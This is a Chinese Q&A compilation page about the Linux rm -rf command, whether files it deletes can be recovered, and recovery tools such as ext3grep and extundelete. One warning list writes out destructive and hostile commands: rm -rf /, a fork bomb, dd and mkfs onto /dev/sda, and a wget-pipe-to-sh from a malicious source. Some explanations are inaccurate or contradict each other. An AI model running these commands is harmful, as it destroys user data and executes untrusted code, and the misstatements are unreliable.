當前位置:首頁 » 操作系統 » linuxrmrf恢復

linuxrmrf恢復

發布時間: 2022-05-21 09:47:53

linux裡面rm -r和rm -rf區別是什麼

「rm」命令用來刪除不需要的文件。該命令的功能為刪除一個目錄中的一個或多個文件或目錄,它也可以將某個目錄及其下的所有文件及子目錄均刪除。對於鏈接文件,只是斷開了鏈接,原文件保持不變。
rm -rf * 表示刪除當前目錄下的所有文件。
「rm」命令的一般形式為:

如果沒有使用「- r」選項,則rm不會刪除目錄。
該命令的各選項含義如下:
「- f 」忽略不存在的文件,強制刪除,不給出提示。
「- r」 指示rm將參數中列出的全部目錄和子目錄均遞歸地刪除。
「- i 」進行互動式刪除。
使用rm命令要小心。因為一旦文件被刪除,它是不能被恢復的。為了防止這種情況的發生,可以使用「i」選項來逐個確認要刪除的文件。如果用戶輸入「y」,文件將被刪除。

❷ linux系統rm -rf/*怎麼恢復可以重做系統么

1、執行刪除命令前,系統運行良好,且操作正常,如下圖所示:



4、強制關機後,重新啟動系統,如下圖所示已經報異常了,無法正常進入系統,此時只有進行重裝系統了。



總結:

1.有點遺憾刪除結束後沒法再使用df、ls這些命令,所以沒辦法看出還剩哪些文件。不過從上面的結果來看,連基礎命令都執行不了,所以用戶數據(如安裝的軟體、部署的網站、資料庫等)肯定也都全刪沒了。


2.因此平時操作的過程中要養成良好的習慣,盡量不要用rm命令,可以用mv命令來代替。比如要刪掉a.txt,可以執行mv a.txt /mytemp ,然後再寫個腳本定時清除/mytemp目錄下的文件,這樣會安全很多。

❸ linux執行了rm -rf還能恢復嗎

不要做讀寫操作肯定是可以的.但網上說的那些方法末必可行.如果確定數據非常非常重要,可以送數據恢復的地方.需要硬體設備和軟體來恢復.不要

❹ linux redhat執行了rm -rf /*如何恢復數據

國外著名linx管理員守則中有這么一條:「慎用rm -rf命令,除非你知道此命令將帶來什麼後果。」 可見這個命令的重要性啊,書中看到的這句話,確實很對。
說了這么多,教教大家執行了rm命令後 該這么辦吧,是有辦法回復的,我剛經過試驗證實了,google有一個開源的包 叫ext3grep工具他可以回復刪除的文件,甚至是drop database xcy; 對,就是誤刪除的資料庫都可以回復。

先說一下他的工作原理吧,然後我在把試驗分享給大家, 工作原理其實也不難,這個工具需要在ext3或者ext4 的文件系統上才可以實現,因為ext3文件系統是日誌型文件系統,ext3文件系統儲存信息的時候是由inode號和block塊存儲的。
神馬? 不知道什麼是inode號?和block塊? 好吧,在說明白點,比如:一個分區比如一本書,那麼block塊就是書每頁的內容,而inode號 就是書的目錄,系統找文件的時候先找inode號 然後根據inode號去找硬碟上的block快信息,明白了吧!

在說一下刪除的原理吧。 當硬碟上的一個文件刪除,其實沒有真正想像中的那樣在硬碟上清除掉的,他是把inode號和block塊的那個鏈子 斷開,但是真正的數據還是在硬碟上的,有沒有感覺在windos上刪除是那麼快,沒考慮到這吧,當你在刪除文件的地方重新復制了新文件,那時候才會把之前的文件覆蓋掉,也就是說刪除了沒有關系,千萬不要往那個位置放文件了。

❺ linux 系統下面,rm -rf 刪除的文件能找回來嗎

使用rm -rf刪除的文件不能找回的;

對rm命令的理解:

1.rm命令可以刪除一個目錄中的一個或多個文件或目錄,也可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。

2.使用rm命令刪除了一個文件,就無法再恢復它。所以,在刪除文件之前,最好再看一下文件的內容,確定是否真要刪除。

3.rm命令可以用-i選項,這個選項在使用文件擴展名字元刪除多個文件時特別有用。使用這個選項,系統會要求你逐一確定是否要刪除。

(5)linuxrmrf恢復擴展閱讀:

rm命令參數如下

1.-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;
2.-f:強制刪除文件或目錄;
3.-i:刪除已有文件或目錄之前先詢問用戶;
4.-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;
5.-v:顯示指令的詳細執行過程。



❻ 在linux 根目錄rm * -rf以後怎麼辦

首先,這是一個非常危險的操作,執行後Linux基本報廢。如下圖所示,把rm命令都刪除了。我是在虛擬機中做的實驗,真實機一定不要執行此操作。


其次,在根目錄執行rm * -rf的命令對Linux系統來說是毀滅性的。如果日常工作中,刪除了某個文件,可以通過下面的方法找回。以下方法不適用你問題中的情況。只是做為擴展。


1. lsof

文件剛剛被刪除,想要恢復,先嘗試lsof.

#lsof |grep data.file1

# cp /proc/xxx/xxx/xx /dir/data.file1


2.

如果lsof不能看到文件,那麼就需要使用恢復軟體進行恢復。

要做的第一件事是立刻卸載被誤刪除文件所在的分區,或者重新以只讀方式掛載此分區。

umount /dev/part 或 mount -o remount,ro /dev/part

刪除一個文件,就是將文件inode(inode 是操作系統尋找文件的目錄,起到索引作用)

節點中的扇區指針清除,同時,釋放這些數據對應的數據塊,

而真實的文件還存留在磁碟分區中。但是這些被刪除的文件不一定會一直存留在磁碟中,當這些

釋放的數據塊被操作系統重新分配時,這些被刪除的數據就會被覆蓋。因此要立刻卸載分區。


3. ext3grep

該工具只能用於ext3文件系統,操作步驟不詳細介紹.

1> unmount /dev/part

2> ext3grep /dev/part --ls --inode 2 ##列出可恢復文件信息

3>ext3grep /dev/part --restore-inode N

4>恢復到 RESTORED_FILES/

更多命令查看 ext3grep --help



4. extundelete

該工具可以恢復ext3,ext4. http://extundelete.sourceforge.net/

1>fuser -k /dev/part && unmunt /dev/part

2>extundelete --inode 2 /dev/part

3>extundelete --restore-inode 13 /dev/part

4>恢復到 RECOVERD_FILES/

5.note

1> 對於空文件,不會進行恢復

2> 可以恢復mysql表, 由於myisam是單獨3個文件,恢復出來就能使用。

3> 建議innodb,設置innodb_file_per_table 為 ON,這樣也就能恢復單表數據。

4> 從上面可以看出,恢復工具這能恢復分區,所以,建議為應用軟體單獨劃區進行安裝,

存放數據。

❼ 在linux系統下用rm命令誤刪了一個文件,怎樣才能恢復這個文件

1、先要進行重啟ubuntu,隨即長按shirft進入grub菜單,這時候注意的是再進行選擇recovery mode,按"e"鍵進入編輯頁面,如下圖所示。


❽ Linux中的rm命令

rm命令:

1、可以刪除一個目錄中的一個或多個文件或目錄。

2、可以將某個目錄及其下屬的所有文件及其子目錄均刪除掉。

3、對於鏈接文件,只是刪除整個鏈接文件,而原有文件保持不變。

語法選項:

-d:直接把欲刪除的目錄的硬連接數據刪除成0,刪除該目錄;

-f:強制刪除文件或目錄;

-i:刪除已有文件或目錄之前先詢問用戶;

-r或-R:遞歸處理,將指定目錄下的所有文件與子目錄一並處理;

-preserve-root:不對根目錄進行遞歸操作;

-v:顯示指令的詳細執行過程。

(8)linuxrmrf恢復擴展閱讀:

rm同時刪除多個文件命令:rm <filename1> <filename2>

要刪除第一個字元為『-』的文件 (例如『-foo』),請使用以下其中一種方法:
rm-- -foo

rm./-foo

請注意,如果使用 rm 來刪除文件,通常仍可以將該文件恢復原狀。如果想保證
該文件的內容無法還原,請考慮使用 shred。

刪除所有rb語言程序檔;刪除前逐一詢問確認 :
rm-i *.rb

將 Finished 子目錄及子目錄中所有檔案刪除 :
rm -r Finished

將 Finished 子目錄及子目錄中所有檔案刪除,並且不用--確認 :

rm -rf Finished



❾ LINUX系統有哪些危險命令

這9個「非常危險」的Linux命令一定要記住!
1、rm-rf命令
rm-rf命令是刪除文件夾及其內容最快的一種方式,僅僅一丁點的敲錯或者無知都可能導致不可恢復的系統崩壞。
rm命令在Linux下通常用來刪除文件
rm-f命令遞歸的刪除文件夾,甚至是空的文件夾
rm-f命令能不經過詢問直接刪除只讀文件
rm-rf/:強制刪除根目錄下所有東西
rm-rf/*:強制刪除當前目錄的所有文件
rm-rf.:強制刪除當前文件夾及其子文件
溫馨提示:當你要執行rm -rf命令時,一定要留心,可以在「.bashrc」文件對「rm」命令創建rm
-i的別名,來預防用『rm』命令刪除文件時的事故。
2、:(){:|:&};:命令
這就是一個fork炸彈的實例。具體操作是通過定義一個名為':'的函數,它會調用自己兩次,一次在前台另一次運行在後台。它會反復的執行下去直到系統崩潰。
3、命令 >/dev/sda
上列命令會將某個'命令'的輸出寫到塊設備/dev/sda中。該操作會將在塊設備中的所有數據塊替換為命令寫入的原始數據,從而導致整個塊設備的數據丟失。
4、mv文件夾/dev/null
這個命令會移動某個'文件夾'到/dev/null。在Linux中/dev/null或null設備是一個特殊的文件,所有寫入它的數據都會被清除,然後返回寫操作成功。
5、wget http://malicious_source -O- | sh
上面這個命令會從一個惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會執行下載下來的腳本。
溫馨提示:你應該時刻注意你下載包或者腳本的源。只能使用那些從可信任的源中下載腳本/程序。
6、mkfs.ext3 /dev/sda
上列命令會格式化設備'sda',你無疑知道在執行上列命令後你的塊設備會被格式化,嶄新的。沒有任何數據,直接讓你的系統達到不可恢復的階段。
7、> file
上面命令常用來清空文件內容,如果用上列執行時輸入錯誤或無知的輸入類似「> xt.conf」的命令會覆蓋配置文件或其他任何的系統配置文件。
8、^foo^bar
這個命令用來編輯先前運行的命令而無需要打整個命令。但當用foobar命令時如果你沒有徹底檢查改變原始命令的風險,這可能導致真正的麻煩。
9、dd if=/dev/random of=/dev/sda
上面這個命令會向塊設備sda寫入隨機的垃圾文件從而擦出數據。當然,你的系統可能陷入混亂和不可恢復的狀態。

❿ linux中使用rm -rf 命令能不能恢復,以及恢復方法。

不要做讀寫操作肯定是可以的。但網上說的那些方法末必可行。如果確定數據非常非常重要,可以送數據恢復的地方。需要硬體設備和軟體來恢復。不要相信網上的很多東西,對於一般的刪除有一定機率可以恢復,但有相當可能恢復出來的東西會損壞。要是都可以,那這么多數據恢復中心早就關門了。

熱點內容
演算法製造 發布:2024-10-25 23:11:27 瀏覽:885
台式電腦安裝哪個安卓系統好 發布:2024-10-25 23:11:25 瀏覽:113
怎麼樣學電腦編程 發布:2024-10-25 23:10:13 瀏覽:523
安卓手機內存佔用太多如何清理 發布:2024-10-25 23:03:53 瀏覽:909
swift項目編譯 發布:2024-10-25 22:53:12 瀏覽:962
邁銳寶買哪個配置合算 發布:2024-10-25 22:28:59 瀏覽:993
押韻腳本生成器 發布:2024-10-25 22:26:50 瀏覽:368
找文檔上傳 發布:2024-10-25 22:22:29 瀏覽:875
hibernate使用二級緩存 發布:2024-10-25 22:14:00 瀏覽:359
手機版登陸布穀鳥伺服器地址 發布:2024-10-25 22:13:59 瀏覽:173